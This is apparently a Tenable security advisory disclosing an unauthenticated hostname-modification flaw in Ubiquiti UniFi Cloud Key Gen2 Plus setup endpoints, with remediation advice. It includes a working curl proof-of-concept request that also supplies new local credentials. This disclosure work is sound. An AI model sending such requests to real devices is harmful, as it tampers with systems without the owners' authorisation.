Synopsis
While investigating Ubiquiti Unifi Cloud Key Gen2 Plus, Tenable discovered a previously patched but undisclosed vulnerability. The vulnerability can be exploited by a remote, unauthenticated attacker to modify the Ubiquiti system's hostname.
Specifically the /api/ump/setup and /api/umc/setup API endpoints accept a "name" parameter that is used to update the device hostname. These endpoints do not require authentication.
Proof of Concept
Request:
curl -H "Content-Type: application/json" --insecure -X POST https://192.168.30.2:443/api/ump/setup -d '{"timezone":"US/Central", "country":826, "localUsername":"newuser", "localPassword":"newpass","localEmail":"[email protected]","name":"newname1"}'
Response:
{"services":[{"service":"host","status":200,"code":"SUCCESS"}]}
Solution
Upgrade to UniFi Cloud Key Firmware 1.1.10Additional References
https://community.ui.com/releases/UniFi-Cloud-Key-Firmware-1-1-10/57e3e7ba-3cef-4c77-a2e0-681074d9c7ffhttps://community.ui.com/releases/Security-advisory-bulletin-007-007/eb639fa0-68ad-4bf5-9663-3b760eb2f93a
https://hackerone.com/reports/802079
Disclosure Timeline
All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.
Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.
For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.
If you have questions or corrections about this advisory, please email [email protected]